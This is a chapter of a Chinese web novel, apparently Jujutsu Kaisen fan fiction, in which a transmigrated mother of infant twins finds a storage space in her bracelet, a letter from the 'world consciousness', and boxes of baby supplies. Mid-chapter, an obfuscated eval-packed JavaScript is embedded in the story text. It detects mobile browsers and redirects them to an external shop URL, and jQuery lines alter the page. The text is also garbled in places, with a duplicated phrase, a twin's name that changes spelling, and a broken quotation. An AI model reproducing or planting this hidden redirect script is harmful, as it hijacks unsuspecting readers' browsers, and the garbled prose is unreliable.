第二十一章:手镯里的秘密
第三十三天。
宿观音是被一阵细细的“咔嚓咔嚓”声吵醒的。
不是那种让人紧张的声响,是那种一听就知道——两个小崽子又在啃东西了。
她没睁眼,就那么躺着,听着那个声音。
咔嚓咔嚓,咔嚓咔嚓。
节奏还挺稳。
左边那个啃得快一点,咔嚓咔嚓咔嚓——像是在赶时间。
右边那个啃得慢一点,咔嚓——咔嚓——咔嚓——像是在品茶。
她嘴角忍不住弯了弯。
这两个小东西,啃个脆骨都能啃出风格来。
又躺了一会儿,她才慢慢睁开眼。
午后的阳光从窗户照进来,把整个树屋照得亮堂堂的。她躺在摇椅上——那把用天然弧度树干做的原始摇椅,铺着厚厚的兽皮,躺上去一晃一晃,舒服得能直接睡到天黑。
她偏过头,看向两个崽的方向。
两个小团子并排躺在地上——准确说是并排趴在兽皮上,一人手里拿着一根“奶嘴棒”,正啃得专心致志。
粉色那个,宿傩,整个小身子都在使劲,小嘴动得飞快,口水顺着下巴往下淌,滴在兽皮上,湿了一小片。但他完全顾不上,眼睛盯着手里的脆骨棒,像是怕它跑了。
黑色那个,宿昶,侧躺着,一只手拿着棒棒,慢慢啃着,眼睛半眯着,像是在享受。偶尔啃下一小点脆骨,他还会停下来,慢慢嚼,慢慢咽,然后再啃下一口。
两个小团子都长大了不少。
第三十三天,和他们刚出生那会儿比,简直像换了个人。
小脸圆了,肉了,抱起来沉甸甸的。眼睛更亮了,看东西更专注了。最重要的是——他们开始有“表情”了。
宿傩的表情永远是灿烂的、急切的、不管不顾的。笑的时候咧着嘴,急的时候皱着眉,饿的时候整张小脸都写着“快给我吃的”。
宿昳的表情永远是淡淡的、安静的、若有所思的。笑的时候只是眼睛弯一弯,急的时候眉头微微皱一下,饿的时候……他也会盯着碗看,但看的方式和弟弟不一样,像是在计算粥还有多久能好。
宿观音看着他们,忽然觉得,这三十三天,过得真快。
快得像一场梦。
但她低头看看自己——蜜蜡色的皮肤,黑色的经文纹身,隆起的肚子已经平了,但腰上还有点松垮的肉——不是梦,是真的。
她穿越了,怀孕了,生了,带娃了。
三十三天,从一个懵逼的女大学生,变成一个能在平安京山里独自生存、带两个崽、顺便挂名阴阳寮客卿的……鬼母。
她自己都觉得离谱。
但离谱归离谱,日子还得过。
她躺在摇椅上,一晃一晃,看着两个小崽子啃棒棒。
阳光暖洋洋的,照得人懒洋洋的。
她打了个哈欠,又眯上眼睛。
摇椅咯吱咯吱响。
咔嚓咔嚓声继续。
一切都那么安宁。
然后——
她手腕上忽然一热。
宿观音猛地睁开眼。
低头一看,那个暗灰色的咒具手镯,正在发光。
不是那种刺眼的光,是那种温润的、柔和的、像是被什么东西唤醒的微光。
她愣住了。
这手镯她戴了快两个月,从密室捡到它开始,就一直是那个死气沉沉的灰色,除了吸收咒灵结晶的时候会微微亮一下,平时就是个普通镯子。
现在怎么突然发光了?
她坐起来,把镯子凑到眼前仔细看。
光越来越亮,但不是往外扩散,是往里收,像是镯子内部有什么东西正在慢慢打开。
她皱起眉,试着用咒力探了一下。
然后她眼前一花。
再睁开眼的时候,她发现自己站在一个完全陌生的地方。
不对,不是陌生。
是一个空间。
大概一百平米左右,方方正正的,像一间客厅。四周是淡淡的、灰白色的“墙壁”,摸上去软软的,有点像凝固的光。头顶是同样的材质,散发着柔和的光,没有灯,但整个空间亮堂堂的。
地上铺着——居然是木地板。
真正的木地板,平整光滑,比她那个树屋的地板精致一百倍。
空间里放着几个箱子。
木头的箱子,大小不一,摞在一起,像是等人来打开。
宿观音站在那里,愣了好几秒。
然后她低头看自己的手。
手还在,镯子还在,但镯子现在不发光了,只是静静地戴在手腕上。
她又抬头看这个空间。
一百平米,木地板,几个箱子,柔和的光。
她咽了口唾沫。
“这什么情况……”
她慢慢往前走了一步。
脚踩在木地板上,实实的,稳稳的,有轻微的“嗒”声。
是真的。
不是幻觉。
她又走了几步,走到那几个箱子前面。
箱子是木头的,做工不算精致,但很结实。最上面那个箱子上,放着一张纸。
纸是白色的,折叠着,上面没有字。
她拿起那张纸,打开。
上面有字。
不是平安京的汉字,是简体中文。
她愣了一下,然后开始读。
“宿观音女士,你好。”
“当你读到这封信的时候,应该已经适应了平安京的生活吧?”
“首先,请允许我自我介绍一下——我是这个咒术世界所谓的‘世界意识’,你可以理解为这个世界的‘天道’或者‘规则本身’。”
“你原本是一个二十一世纪的普通女大学生,因为通宵肝论文导致猝死——这件事我很抱歉,但当时的情况确实有点突然,我来不及干预。”
“不过,我看到了你的灵魂,也看到了你生前的一些……嗯,特质。”
“比如,你遇到麻烦时第一反应是用拳头解决。”
“比如,你一个人生活了很久,但从来没有怨天尤人。”
“比如,你看过《咒术回战》这部漫画,对这个世界有一定的了解。”
“所以,我做了一个决定——把你的灵魂投放到这个时代,投放到这具刚刚被制造出来的‘傀身’里。”
“这具身体本来是那批术师用来孕育诅咒的容器,但你的灵魂占据了它,让它变成了真正的‘人’。那批人大概做梦也想不到,他们精心制造的‘器’,最后会变成他们最害怕的存在。”
“至于你手上的那个手镯——那是我给你的补偿。”
“它原本只是一件普通的咒具,能帮你收集咒灵结晶。但我对它做了一点小小的改造,让它多了一个功能:一个一百平米左右的空间,可以存放东西,也可以让你暂时躲进去。”
“这个空间是‘静止’的,你在这里的时候,外面的时间几乎不会流动。你可以放心使用。”
“那几个箱子里,是我让人准备的一些东西——不是什么太好的东西,但应该能帮上忙。”
“另外,我还会不定期往这个空间里投放一些物资。具体时间不确定,但每次你打开手镯的时候,可以顺便看看有没有新东西。”
“写这封信,除了告诉你这些,还有一件事想拜托你。”
“你知道这个世界的未来——两面宿傩会成为‘诅咒之王’,会给这个世界带来巨大的动荡,无数人会因此死去。”
“但你也知道,那并不是他‘天生’的结局。他的成长轨迹,受到太多因素的影响。如果他有一个不一样的童年,如果他有一个不一样的母亲,如果他有人教他什么是‘对’,什么是‘错’……”
“事情会不会不一样?”
“我不知道。”
“但我想试试。”
“所以,我想拜托你——尽你所能,改变这个糟糕的未来。”
“不是为了什么伟大的使命,只是为了这两个孩子,能有一个不一样的人生。”
“你愿意吗?”
“当然,你也可以拒绝。毕竟你已经帮了他们很多,你没有义务再承担更多。”
“但如果你愿意——我会在你需要的时候,从侧面提供一些帮助。”
“比如,让某些人‘恰好’找不到你们的踪迹。”
“比如,让某些物资‘恰好’出现在你能找到的地方。”
“比如,让某些关键时刻,‘恰好’有那么一点点运气。”
“我能做的有限,但我会尽力。”
“最后,祝你和两个孩子平安。”
“——一个看着这个世界很久很久的存在”
“PS:箱子里有一些婴儿用品,是给你那两个崽准备的。他们现在应该三十三天了吧?长得快,用得上。”
宿观音拿着那张纸,看了很久。
很久很久。
然后她把纸放下,低头看着手腕上的手镯。
暗灰色,平平无奇,戴在手腕上一点存在感都没有。
谁能想到,这东西里藏着一百平米的空间?
谁能想到,这东西背后是一个世界的意识?
谁能想到,她穿越不是意外,是被“安排”的?
她站在那里,沉默了很久。
然后她笑了。
不是那种苦笑,不是那种冷笑,是那种——不知道该说什么、只好笑的、复杂的笑。
“行吧,”她对着空气说,“原来我穿越是被安排的。”
“我还以为是我运气不好呢。”
没人回答她。
当然没人回答。
她又拿起那张纸,从头到尾看了一遍。
看到“如果你愿意”那一段的时候,她停了一下。
愿意吗?
改变那个糟糕的未来。
让两个崽,有一个不一样的人生。
她想了想宿傩那张永远灿烂的、傻笑着的脸。
又想了想宿昶那双安静的、黑漆漆的眼睛。
她想起他们刚出生时的样子,想起他们第一次睁开眼睛看她的样子,想起他们抢勺子、啃脆骨、趁她不在家把肉干洒一地的样子。
她想起他们并排睡在阳光下的小模样。
她想起他们的小手在半空中碰到一起的那个瞬间。
她低下头。
“还用问吗?”她轻声说。
“当然愿意。”
“废话。”
她把纸折好,塞进怀里。
然后她转身,走向那几个箱子。
第一个箱子打开——
里面是布料。
不是平安京那种粗糙的麻布,是柔软的、细腻的、像是棉布又不是棉布的东西。好几匹,叠得整整齐齐,颜色是素净的米白和浅灰。
她摸了摸,软得不像话。
“这给崽做衣服正合适……”她喃喃。
第二个箱子打开——
里面是小衣服。
不是那种需要自己裁的布,是做好的、现成的、小小的一件一件。
小袄,小裤,小帽子,小袜子。
整整齐齐叠着,颜色素净,针脚细密。
她拿起一件小袄,在自己眼前展开。
小小的,刚好是三十三天大的小崽子能穿的大小。
她看着那件小袄,眼眶忽然有点热。
“这……”她吸了吸鼻子,“这太贴心了……”
第三个箱子打开——
里面是吃的。
不是平安京那种糙米粗盐,是密封好的、一小包一小包的东西。她拿起一包看了看,上面贴着小标签——“婴儿米粉,温水冲泡即可”。
又拿起一包——“肉松,可直接食用”。
再拿起一包——“磨牙饼干,适合长牙期婴儿”。
她看着那些标签,愣了好几秒。
然后她笑了。
笑着笑着,眼眶又热了。
“奶粉呢?”她嘟囔,“有没有奶粉?”
翻了翻,还真有。
一小罐,密封得好好的,上面写着“婴儿配方奶粉,适用0-6个月”。
她抱着那罐奶粉,站在那儿,忽然不知道该说什么。
第四个箱子打开——
是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265106|198079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杂物。
几个小木碗,几把小木勺,几个软软的、像是硅胶一样材质的奶嘴——真正的奶嘴,不是她用脆骨做的那种。
还有几本书。
她拿起一本——《婴儿护理指南》。
又拿起一本——《辅食添加时间表》。
再拿起一本——《幼儿常见病家庭护理》。
她看着那些书,沉默了很久。
然后她蹲下来,把那些东西一件一件拿出来,又一件一件放回去。
码得整整齐齐。
然后她站起来,环顾这个一百平米的空间。
木地板,柔和的灯光,四个箱子。
还有那张纸条,在她怀里,贴着胸口。
她忽然觉得,这个操蛋的平安京,好像也没那么操蛋了。
至少,还有人在看着她。
至少,还有人希望她好。
至少,还有人——不对,有“世界”——在等着她改变那个糟糕的未来。
她深吸一口气,又慢慢呼出来。
然后她闭上眼睛,想着“出去”。
眼前一花。
再睁开眼的时候,她已经回到树屋里了。
还坐在摇椅上。
阳光还是那么暖。
咔嚓咔嚓声还在响。
时间真的没动。
她低头看着手腕上的镯子,又看了看怀里那张折好的纸条。
然后她看向地上的两个小团子。
宿傩还在猛啃,嘴里塞得满满的,口水流了一地。
宿昳还在慢慢啃,偶尔看她一眼,像是在确认她还在不在。
宿观音看着他们。
看着那个粉色的小脑袋,那个黑色的小脑袋。
看着他们小小的手,小小的脚,小小的身子。
看着他们并排趴在那里的样子。
她忽然笑了。
不是那种复杂的笑,是真的、从心里漫出来的笑。
“崽,”她轻声说,“妈刚才去了一个地方。”
两个小团子当然听不懂,继续啃。
“那个地方,”她继续说,“有好多好东西。”
“有好软好软的布,有做好的小衣服,有好吃的米粉和奶粉,还有真正的奶嘴——不是你们现在啃的这种。”
宿傩抬起头,看着她,眨眨眼睛,像是在问:什么奶嘴?
宿昳也抬起头,看着她,那双黑漆漆的眼睛里,像是在问:你在说什么?
宿观音看着他们的小表情,忍不住笑出声。
“听不懂是吧?”她说,“没关系,以后慢慢就知道了。”
她从摇椅上站起来,走到他们旁边,蹲下来,一边一个,摸了摸他们的小脑袋。
两个小团子被摸得眯起眼睛。
宿傩蹭了蹭她的手,继续啃。
宿昳也蹭了蹭,然后继续看着她。
宿观音看着他们,沉默宿观音看着他们,沉默了一会儿。
然后她轻声说:“崽,有人跟妈说,想让你们以后不一样。”
“不想让你们变成那个什么诅咒之王’,不想让你们被所有人害怕。”
“你们觉得呢?”
两个小团子当然听不懂,只是继续看着她。
宿傩“啊”了一声,像是在说:你说什么?
宿昳眨眨眼睛,像是在说:我们在听。
宿观音看着他们,笑了。
“行,”她说,“那咱们就试试。”
“试试看,能不能让这个操蛋的世界,变得好一点。”:
“试试看,能不能让你们,开开心心长大。”
“试试看,能不能——”
她顿了顿。
——让那个什么“糟糕的未来’,变成‘不一样的未来’。”
她站起来,走到储物区,把那罐奶粉拿出来。
又拿出一个小木碗,一个小木勺。
然后她坐回摇椅上,开始研究那个奶粉罐上的说明。
“温水冲泡....一勺奶粉配三十毫升水......
两个小团子继续啃脆骨,偶尔抬头看她一眼,像是在好奇她在干什么。过了一会儿,奶粉冲好了。
淡淡的奶香飘满整个树屋。
宿傩的鼻子动了动,立刻抬起头,眼睛亮晶晶的,盯着那个小木碗。
宿昶也抬起头,看着那个方向,眼睛微微亮起来。
宿观音端着碗走过去,先抱起宿傩。
粉色小团子早就等不及了,小嘴张着,“啊啊”叫着。
她舀了一小勺奶,吹了吹,送到他嘴边。
他含住勺子,愣住了。
那个表情,像是在说:这是什么?怎么和平时吃的不一样?
但他很快就接受了这个设定,小嘴一动一动,把奶咽下去。
咽下去之后,他眼睛更亮了。
“啊!”他叫了一声,像是在说:好吃!还要!
宿观音又舀了一勺。
他又一口吞掉。
一勺接一勺,吃得又快又急,奶糊得满嘴都是。
喂完宿傩,抱起宿昶。
黑色小团子安静地躺在她腿上,看着她。
她舀了一勺,吹凉,送到他嘴边。
他含住勺子,慢慢抿了抿。
眼睛微微眯起来。
又抿了抿。
那双黑漆漆的眼睛,看着她,亮晶晶的。
像是在说:妈,这个好。
宿观音看着他那双眼睛,心都快化了。
“喜欢就好。”她轻声说。
喂完两个崽,她把碗放下,坐回摇椅上。
两个小团子并排躺着,眯着眼睛,小嘴还在咂吧,像是在回味那个奶味。
宿观音看着他们,又看了看手腕上的镯子。
她想起那张纸条上的话。
“<>
她笑了笑。
她轻声说,“我也会改变那样的未来。”
她原本就很讨厌原著中的那种结局,糟糕透顶极了。
她成为咒术师也是为了给这两个小崽子,去搏一把,也是为了自己。